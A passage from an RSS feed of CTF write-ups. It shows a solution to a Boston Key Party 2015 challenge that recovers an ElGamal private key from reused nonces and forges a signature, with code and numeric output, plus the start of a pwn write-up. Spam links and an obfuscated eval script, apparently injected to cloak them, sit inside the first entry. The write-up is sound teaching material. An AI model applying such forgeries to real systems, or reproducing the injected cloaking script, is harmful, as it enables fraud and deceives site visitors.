 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/crypto&quot;&gt;crypto&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/32&quot;&gt;Boston Key Party 2015&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;&lt;strong&gt;Task:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;You can try to sign messages and send them to the server, 52.0.217.48 port 60231. Sign the right message and you\&#039;ll get the flag! Only problem---you don\&#039;t have the signing key. I will give you this, though: sigs.txt is a file containing a bunch of signatures. I hope it helps. (P.S. Don\&#039;t try and send the exact signatures in that file---that\&#039;s cheating!)&lt;/p&gt;&lt;p&gt;Given archieve attached below.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;!--break--&gt;&lt;/p&gt;&lt;p&gt;Let&#039;s start! Unpack archieve and take a look inside. We have three python scripts and one .txt file. Two python files contain only constants, but last contains server implemetation. Let&#039;s have a closer look on it:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;    def handle(self):
        self.captcha()
        sig = self.request.recv(5000)
        sig = json.loads(sig)
        if &quot;r&quot; not in sig or &quot;s&quot; not in sig or &quot;m&quot; not in sig:
            self.request.close()
            return
        r = sig[&quot;r&quot;]
        s = sig[&quot;s&quot;]
        m = sig[&quot;m&quot;]
        if not elgamal_verify(r, s, m):
            self.request.close()
        elif is_duplicate(sig):
            self.request.close()
        elif m != &quot;There is no need to be upset&quot;:
            self.request.close()
        else:
            self.request.sendall(FLAG)
            self.request.close()&lt;/pre&gt;&lt;p&gt;And:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;def elgamal_verify(r, s, m):
    if r &amp;lt;= 0 or r &amp;gt;= SAFEPRIME:
        return False
    if s &amp;lt;= 0 or s &amp;gt;= SAFEPRIME-1:
        return False
    h = int(hashlib.sha384(m).hexdigest(), 16)
    left = pow(GENERATOR, h, SAFEPRIME)
    right = (pow(PUBKEY, r, SAFEPRIME) * pow(r, s, SAFEPRIME)) % SAFEPRIME
    return left == right

DUPLICATES = []

def is_duplicate(s):
    return s in DUPLICATES&lt;/pre&gt;&lt;p&gt;So, wha is happening here? First step is Anti-captcha (proof of work) - you have to proove, that you are robot (cos human cant calculate hash in mind...=) ), you can bypass it with bruteforce, using scripts from previos arcticles.&lt;/p&gt;&lt;p&gt;On the second step server checks signature: it takes from user json with &lt;em&gt;m&lt;/em&gt;, &lt;em&gt;r&lt;/em&gt; and &lt;em&gt;s&lt;/em&gt; fields and perfoms some checks:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&amp;nbsp;&lt;em&gt;(r,s)&lt;/em&gt; signature is valid for message &lt;em&gt;m&lt;/em&gt;&lt;/li&gt;&lt;li&gt;Message and it&#039;s signature were not used before (not in given sigs.txt file)&lt;/li&gt;&lt;li&gt;Message &lt;em&gt;m&lt;/em&gt; is equal to &quot;There is no need to be upset&quot;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;So we just have to forge valid signature for meddage: &quot;There is no need to be upset&quot;.&lt;/p&gt;&lt;p&gt;Because verification function is called &quot;elgamal_verify&quot;, you may suppose that server uses ElGamal Scheme. Let&#039;s open wikipedia and gain some information about this &lt;a href=&quot;http://en.wikipedia.org/wiki/ElGamal_signature_scheme&quot;&gt;scheme&lt;/a&gt;.&amp;nbsp;Among all you can find &quot;Security&quot; &lt;a href=&quot;http://en.wikipedia.org/wiki/ElGamal_signature_scheme#Security&quot;&gt;part&lt;/a&gt;&amp;nbsp;and some interesting things in it:&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;The signer must be careful to choose a different&amp;nbsp;&lt;/span&gt;k&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;&amp;nbsp;uniformly at random for each signature and to be certain that&amp;nbsp;&lt;/span&gt;k&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;, or even partial information about&amp;nbsp;&lt;/span&gt;k&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;, is not leaked. Otherwise, an attacker may be able to deduce the secret key&amp;nbsp;&lt;/span&gt;x&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;&amp;nbsp;with reduced difficulty, perhaps enough to allow a practical attack. In particular, if two messages are sent using the same value of&amp;nbsp;&lt;/span&gt;k&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;&amp;nbsp;and the same key, then an attacker can compute&amp;nbsp;&lt;/span&gt;x&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;&amp;nbsp;directly.&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;And we have we have sigs.txt file with several signatures.. looks like we are on the right way... but what is &lt;em&gt;k&lt;/em&gt;? Wiki says:&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0.5em; margin-bottom: 0.5em; line-height: 22px; color: #252525; font-family: sans-serif;&quot;&gt;&lt;em&gt;To sign a message&amp;nbsp;m&amp;nbsp;the signer performs the following steps.&lt;/em&gt;&lt;/p&gt;&lt;ul style=&quot;line-height: 22px; margin-top: 0.3em; margin-bottom: 0px; margin-left: 1.6em; list-style-image: url(&#039;data:image/svg+xml,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20version%3D%221.1%22%20width%3D%225%22%20height%3D%2213%22%3E%0A%3Ccircle%20cx%3D%222.5%22%20cy%3D%229.5%22%20r%3D%222.5%22%20fill%3D%22%2300528c%22%2F%3E%0A%3C%2Fsvg%3E%0A&#039;); color: #252525; font-family: sans-serif;&quot;&gt;&lt;li style=&quot;margin-bottom: 0.1em;&quot;&gt;&lt;em&gt;Choose a random&amp;nbsp;k&amp;nbsp;such that 1&amp;nbsp;&amp;lt;&amp;nbsp;k&amp;nbsp;&amp;lt;&amp;nbsp;p&amp;nbsp;−&amp;nbsp;1 and gcd(k,&amp;nbsp;p&amp;nbsp;−&amp;nbsp;1)&amp;nbsp;=&amp;nbsp;1.&lt;/em&gt;&lt;/li&gt;&lt;li style=&quot;margin-bottom: 0.1em;&quot;&gt;&lt;em&gt;Compute&amp;nbsp;&lt;img class=&quot;mwe-math-fallback-image-inline tex&quot; style=&quot;display: inline-block;&quot; src=&quot;http://upload.wikimedia.org/math/9/9/8/998605102271444e000a47030ecf2c1d.png&quot; alt=&quot; r \, \equiv \, g^k \pmod p&quot;&gt;.&lt;/em&gt;&lt;/li&gt;&lt;li style=&quot;margin-bottom: 0.1em;&quot;&gt;&lt;em&gt;Compute&amp;nbsp;&lt;img class=&quot;mwe-math-fallback-image-inline tex&quot; style=&quot;display: inline-block;&quot; src=&quot;http://upload.wikimedia.org/math/e/2/b/e2b71441122c33e81b283228fd1a73dc.png&quot; alt=&quot; s \, \equiv \, (H(m)-x r)k^{-1} \pmod{p-1}&quot;&gt;.&lt;/em&gt;&lt;/li&gt;&lt;li style=&quot;margin-bottom: 0.1em;&quot;&gt;&lt;em&gt;If&amp;nbsp;&lt;img class=&quot;mwe-math-fallback-image-inline tex&quot; style=&quot;display: inline-block;&quot; src=&quot;http://upload.wikimedia.org/math/7/8/7/787d0b6e5d9e7525a7054c6f96c377ea.png&quot; alt=&quot;s=0&quot;&gt;&amp;nbsp;start over again.&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin-top: 0.5em; margin-bottom: 0.5em; line-height: 22px; color: #252525; font-family: sans-serif;&quot;&gt;&lt;em&gt;Then the pair (r,s) is the digital signature of&amp;nbsp;m. The signer repeats these steps for every signature.&lt;/em&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0.5em; margin-bottom: 0.5em; line-height: 22px; color: #252525; font-family: sans-serif;&quot;&gt;So, if in two signatures same &lt;em&gt;k&lt;/em&gt; was used, both signatures have same &lt;em&gt;r&lt;/em&gt;. Let&#039;s examine given sigs.txt file to find out same &lt;em&gt;r&amp;nbsp;&lt;/em&gt;values. For example, this script will do it for you:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;import re

with open(&#039;sigs.txt&#039;, &#039;r&#039;) as f:
	data = f.read()

searcher = re.compile( &quot;\&quot;r\&quot;: \d+&quot;)
r_vals = searcher.findall(data)

uniq = []
for r in r_vals:
	if r in uniq:
		print r
	else:
		uniq.append(r)&lt;/pre&gt;&lt;p&gt;Result:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;&quot;r&quot;: 24030551483122053624716977527407536977518653033297939409122802809740309624953770247347499500115945237454766787108175375302146086541500888306491588588147326149187734156069939639058405265571675349658277792098286622286226058008567542381029931604553716421740469902946532483973532336362867141732245398972208695076558639383660148089152829691282160772599817042880415931978266720626748559045779449893737272112671672750802677804265935211941474277988895796905249955578045776622418603597677320454557350772863501720544466286669388103247173728880382526588182905215363298438385070158385795742683303408289812120424459186306607441289
&quot;r&quot;: 15596574224423604337174975776788465266479462558269645435687330615427783442319450174310669167504694165949734195772140468403401519160093357880254143018633950179114008556651092403391366077557363361555123124177670387232880718011385652224689886844787549431939261644192798219757366042713163922831165605478332687249430607990154018556718572496906645239311390495141354282987806832079357224945158666328969818853986069540836255016227603632402476397515152119360294922495895244235309968400537736534622122663697025389872185310053285819453794953849878570802282548259719716065417998189738453640724390984216257023730024188208988434794
&quot;r&quot;: 7642569978590436429035839941747247560961995622187738908962159214058334385040541356267957242899354560757177741259486145756635387643986997662432251492305334195580243624629435620896520306233592274992724847384959546615834897272240261629833454725467996866722488751905291163060514410309569216190018941208834286631363010818364154295177563417071850364776094073956065971376816168479731258230097121738745272755290500815682780120887578487480236247646661452058929568790006839190000789494099743010979644184683260698667768183665065310183202237640230653237055185353887233368385521231171006737686056695974479215510810069532170450224
[Finished in 0.1s]&lt;/pre&gt;&lt;p&gt;&amp;nbsp; We find three &lt;em&gt;r,&amp;nbsp;&lt;/em&gt;which are not unique. So we can perform attack, that was described above. Wiki says:&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;s = ( H(m) - xr )k&lt;sup&gt;-1&lt;/sup&gt; (mod p-1)&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;sk = H(m) - xr&amp;nbsp;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;(mod p-1)&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;H(m) = sk + xr (mod p-1)&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;We have two different messages with two signatures &lt;em&gt;(s,r)&lt;/em&gt;, where &lt;em&gt;s&lt;/em&gt; are different but &lt;em&gt;r&lt;/em&gt; are equal. So we have system of two&amp;nbsp;&lt;/span&gt;&lt;/span&gt;equations&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;H(m&lt;sub&gt;1&lt;/sub&gt;) = s&lt;sub&gt;1&lt;/sub&gt;k + xr (mod p-1)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;H(m&lt;sub&gt;2&lt;/sub&gt;) = s&lt;sub&gt;2&lt;/sub&gt;k + xr (mod p-1)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;Where &lt;em&gt;x&lt;/em&gt; and &lt;em&gt;k&lt;/em&gt; is unknow variables. Be careful, when solving this system, because integers modulo p-1 is a ring, so not all elements have multiplicative inverse. For example, even &lt;em&gt;s&lt;/em&gt; wouldn&#039;t has it.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;You can use any Math application to solve system of&amp;nbsp;&lt;/span&gt;&lt;/span&gt;equations by modulo and find &lt;em&gt;k&lt;/em&gt; and &lt;em&gt;x.&amp;nbsp;&lt;/em&gt;I&#039;ve used Wolfram Math:&lt;/p&gt;&lt;div data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;LINE&amp;quot;,&amp;quot;RANDOM&amp;quot;:0.11121001280844212}&quot;&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;Solve[
 15596574224423604337174975776788465266479462558269645435687330615427783442319450174310669167504694165949734195772140468403401519160093357880254143018633950179114008556651092403391366077557363361555123124177670387232880718011385652224689886844787549431939261644192798219757366042713163922831165605478332687249430607990154018556718572496906645239311390495141354282987806832079357224945158666328969818853986069540836255016227603632402476397515152119360294922495895244235309968400537736534622122663697025389872185310053285819453794953849878570802282548259719716065417998189738453640724390984216257023730024188208988434794*x + 
    20193160426525825914749944534502183854793246273057225225204130786954179606391520252397561856344584750457489718289118609515303464507510251417077403315954173676057341891301159286752647600395198190644724307893515345893595410667424425312908674343690968733843740920409803587443515922925501638028491932183400780974410265039483539351372898810463837406346416273301833999371981123383744331959625540606861187311099827640470542835373136973637049034852358457864170556183428016586548277807973991611705101720973851865311156212618466002189499709957796272187041939722207610584175170433726950035007314375587759506260786928657084551208*y == 
   17522164631796177405895087447911918224805069054544219936136496691782804368700681944248318092297704863697843193489206 &amp;amp;&amp;amp;
  
  15596574224423604337174975776788465266479462558269645435687330615427783442319450174310669167504694165949734195772140468403401519160093357880254143018633950179114008556651092403391366077557363361555123124177670387232880718011385652224689886844787549431939261644192798219757366042713163922831165605478332687249430607990154018556718572496906645239311390495141354282987806832079357224945158666328969818853986069540836255016227603632402476397515152119360294922495895244235309968400537736534622122663697025389872185310053285819453794953849878570802282548259719716065417998189738453640724390984216257023730024188208988434794*x + 
    20950544720225190240516588643124156640166137751307772794120839122642879744566309989204234525193060193095734419581892490241084064977398989989423034374978973475972879096343609617333859217032402467474794063367359126064209414247112196692749986283927599483857635906461630946699655333336064650658571060838418022831773012112148484373450539087980144060939705883970226872558602362137321434221468807558634789744082687788692428002582578979320390623784385653753663765668912704533244714593744067390408848738952250051111603136134591670549919971405683223154547996667007410471545395238084694224087888217638321220704877088996234667758*y == 
   32912878155772232082988690525300428836530642510373329387039819701838393571941848326053069623907005119234663553785330,
 {x, y},
 Modulus -&amp;gt; 
  27327395392065156535295708986786204851079528837723780510136102615658941290873291366333982291142196119880072569148310240613294525601423086385684539987530041685746722802143397156977196536022078345249162977312837555444840885304704497622243160036344118163834102383664729922544598824748665205987742128842266020644318535398158529231670365533130718559364239513376190580331938323739895791648429804489417000105677817248741446184689828512402512984453866089594767267742663452532505964888865617589849683809416805726974349474427978691740833753326962760114744967093652541808999389773346317294473742439510326811300031080582618145726]&lt;/pre&gt;&lt;p&gt;And result is:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;Answer:
{{x -&amp;gt; 11405148977472070847365218710766449078537570969688340378848352437920775589263471165689667400222906768815975260917123165802980646318353389631475775638254459726964055271804077962848769755220905417865830271596783314761387652548615547386856401898810558155866110142664500325585994569852700494187601969524512877504501310480889704990280605643619505056187819289992366250062643439920600261106116347627717948112330653523084554538170888898127933270176684391756706118533788708485259278763353731318153045165374215647633533950855383457673005747323515328227853308910032144312613158202921709938645864922336849172162584600594548383769 + 
    13663697696032578267647854493393102425539764418861890255068051307829470645436645683166991145571098059940036284574155120306647262800711543192842269993765020842873361401071698578488598268011039172624581488656418777722420442652352248811121580018172059081917051191832364961272299412374332602993871064421133010322159267699079264615835182766565359279682119756688095290165969161869947895824214902244708500052838908624370723092344914256201256492226933044797383633871331726266252982444432808794924841904708402863487174737213989345870416876663481380057372483546826270904499694886673158647236871219755163405650015540291309072863 C[1], 
  y -&amp;gt; 12780654076712315342557968007566379935229954276230807639665702142103549136408699104332337502550652581806514878279261654171262095484373525061520969023188821681199026858966468950451221700940218653506601368343894689092533052209732513940302093154785769183690626111706770904919054659023003137158039635431673035380262813165085357833180324316706979051198536038699978511970853276885780181015508612084020605897756865495255350696748220033237316185373458895608809435734616059720556237199048361906711902462009427742458373806078932083281313989085236666731027152436636238565509653859120339870549660036293474217320107816478127848604 + 
    13663697696032578267647854493393102425539764418861890255068051307829470645436645683166991145571098059940036284574155120306647262800711543192842269993765020842873361401071698578488598268011039172624581488656418777722420442652352248811121580018172059081917051191832364961272299412374332602993871064421133010322159267699079264615835182766565359279682119756688095290165969161869947895824214902244708500052838908624370723092344914256201256492226933044797383633871331726266252982444432808794924841904708402863487174737213989345870416876663481380057372483546826270904499694886673158647236871219755163405650015540291309072863 C[2]}}&lt;/pre&gt;&lt;p&gt;&lt;br&gt;As you can see, system has muliply solutiuons.&amp;nbsp;&lt;/p&gt;&lt;p&gt;You can very fast check all four combinations by forging four variants of &lt;em&gt;(s,r)&lt;/em&gt; signature for &lt;em&gt;m&lt;/em&gt; = &quot;There is no need to be upset&quot;, and sending it on server. If you use same &lt;em&gt;r&lt;/em&gt; as in sigs.txt, you just need to compute &lt;em&gt;s, &lt;/em&gt;so:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;K = 12780654076712315342557968007566379935229954276230807639665702142103549136408699104332337502550652581806514878279261654171262095484373525061520969023188821681199026858966468950451221700940218653506601368343894689092533052209732513940302093154785769183690626111706770904919054659023003137158039635431673035380262813165085357833180324316706979051198536038699978511970853276885780181015508612084020605897756865495255350696748220033237316185373458895608809435734616059720556237199048361906711902462009427742458373806078932083281313989085236666731027152436636238565509653859120339870549660036293474217320107816478127848604 + 13663697696032578267647854493393102425539764418861890255068051307829470645436645683166991145571098059940036284574155120306647262800711543192842269993765020842873361401071698578488598268011039172624581488656418777722420442652352248811121580018172059081917051191832364961272299412374332602993871064421133010322159267699079264615835182766565359279682119756688095290165969161869947895824214902244708500052838908624370723092344914256201256492226933044797383633871331726266252982444432808794924841904708402863487174737213989345870416876663481380057372483546826270904499694886673158647236871219755163405650015540291309072863

R = 15596574224423604337174975776788465266479462558269645435687330615427783442319450174310669167504694165949734195772140468403401519160093357880254143018633950179114008556651092403391366077557363361555123124177670387232880718011385652224689886844787549431939261644192798219757366042713163922831165605478332687249430607990154018556718572496906645239311390495141354282987806832079357224945158666328969818853986069540836255016227603632402476397515152119360294922495895244235309968400537736534622122663697025389872185310053285819453794953849878570802282548259719716065417998189738453640724390984216257023730024188208988434794

Kinv = inverse(K, M)

print Kinv
11229564743034185040004960050772054007682662152342489588663134546157830837439948644777566056798431052050328871856833998547970536669342678490701009207205388039479343267225423580587116767573396520467953567708885431696965609591547186713704202330941400518771586809861731353532477280946818593198085158822727812249062666604332954171368291583140313845753585453894318934470456670469827222218354006201600442374222432023493236612146637469249317961367788649325550166802023675758482489748891700581825892091702679217253672563341697873025935541062804335772599169547952882534586596303285146433449671309000641194778425709515061034061L

H = int(hashlib.sha384(&quot;There is no need to be upset&quot;).hexdigest(), 16)
X = 11405148977472070847365218710766449078537570969688340378848352437920775589263471165689667400222906768815975260917123165802980646318353389631475775638254459726964055271804077962848769755220905417865830271596783314761387652548615547386856401898810558155866110142664500325585994569852700494187601969524512877504501310480889704990280605643619505056187819289992366250062643439920600261106116347627717948112330653523084554538170888898127933270176684391756706118533788708485259278763353731318153045165374215647633533950855383457673005747323515328227853308910032144312613158202921709938645864922336849172162584600594548383769 + 13663697696032578267647854493393102425539764418861890255068051307829470645436645683166991145571098059940036284574155120306647262800711543192842269993765020842873361401071698578488598268011039172624581488656418777722420442652352248811121580018172059081917051191832364961272299412374332602993871064421133010322159267699079264615835182766565359279682119756688095290165969161869947895824214902244708500052838908624370723092344914256201256492226933044797383633871331726266252982444432808794924841904708402863487174737213989345870416876663481380057372483546826270904499694886673158647236871219755163405650015540291309072863

S = ((H - X * R) * Kinv) % M
print S
11057062360037254017289635018921773984183564064092395096838773711381090984064311698289768170915721461871937003117929770925039756903570621025707383705465627567970676462056327449577227456755524929286234463839696828725619393734746030826431182855696671016288244742041130665258517881078515879578523743937721290168743838774382061947237978837869517592441458667243091811392910778481879611111807313162640186698122857701857400429810865528683646940672873418762238830032505222891402579366927300508292794863485872865578871520392827529932070319462416460050694529429370692076137317134639455980792967653965353227009612149885652150641L&lt;/pre&gt;&lt;p&gt;&amp;nbsp;Send (r,s,m) json and get:&lt;/p&gt;&lt;p&gt;nonces_are_fucking_rad_amirite&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Flag:&amp;nbsp;nonces_are_fucking_rad_amirite&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.mysneakers.org/&quot;&gt;Mysneakers&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.ietp.com/fr/dfeghoshop/nike-air-max-270/&quot;&gt;Nike Air Max 270 - Deine Größe bis zu 70% günstiger&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Binary Data&quot; title=&quot;application/octet-stream&quot; src=&quot;/modules/file/icons/application-octet-stream.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/wood-island.tar_.gz&quot; type=&quot;application/octet-stream; length=546593&quot;&gt;wood-island.tar_.gz&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Wed, 04 Mar 2015 08:58:45 +0000</pubDate>
 <dc:creator>Triff</dc:creator>
 <guid isPermaLink="false">98 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/98#comments</comments>
</item>
<item>
 <title>Kendall (pwn - 300)</title>
 <link>https://ctfcrew.org/writeup/97</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/pwn&quot;&gt;pwn&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/32&quot;&gt;Boston Key Party 2015&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;Description of task is pretty small:&lt;/p&gt;&lt;p&gt;52.0.164.37:8888&lt;/p&gt;&lt;p&gt;And &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/kendall.tar_.gz&quot;&gt;link&lt;/a&gt; to file (ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped).&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;After connecting to the server we receive the following menu:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;#####################################################
# DHCP Management Console                           #
# Auditing Interface                                #
#####################################################

 h  show this help
 a  authenticate
 c  config menu
 d  dhcp lease menu
 e  exit

[m]#&lt;/pre&gt;&lt;p&gt;&lt;em&gt;authenticate&lt;/em&gt; - stage for inputting administrator&#039;s password&lt;/p&gt;&lt;p&gt;&lt;em&gt;config menu&lt;/em&gt;:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;[c]# h

 h  show this help
 l  list keys/values
 s  change start ip
 e  change end ip
 k  change netmask ip
 n  change nameserver ip
 m  return to main menu
[c]# l
 DHCP Configuration: 
	Start IP:   192.168.000.100
	End IP:     192.168.000.200
	Netmask:    255.255.255.000
	Nameserver: 8.8.8.8&lt;/pre&gt;&lt;p&gt;&lt;em&gt;dhcp lease menu&lt;/em&gt;:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;[d]# h

 h  show this help
 r  renew leases
 l  list leases
 f  filter leases
 m  return to main menu
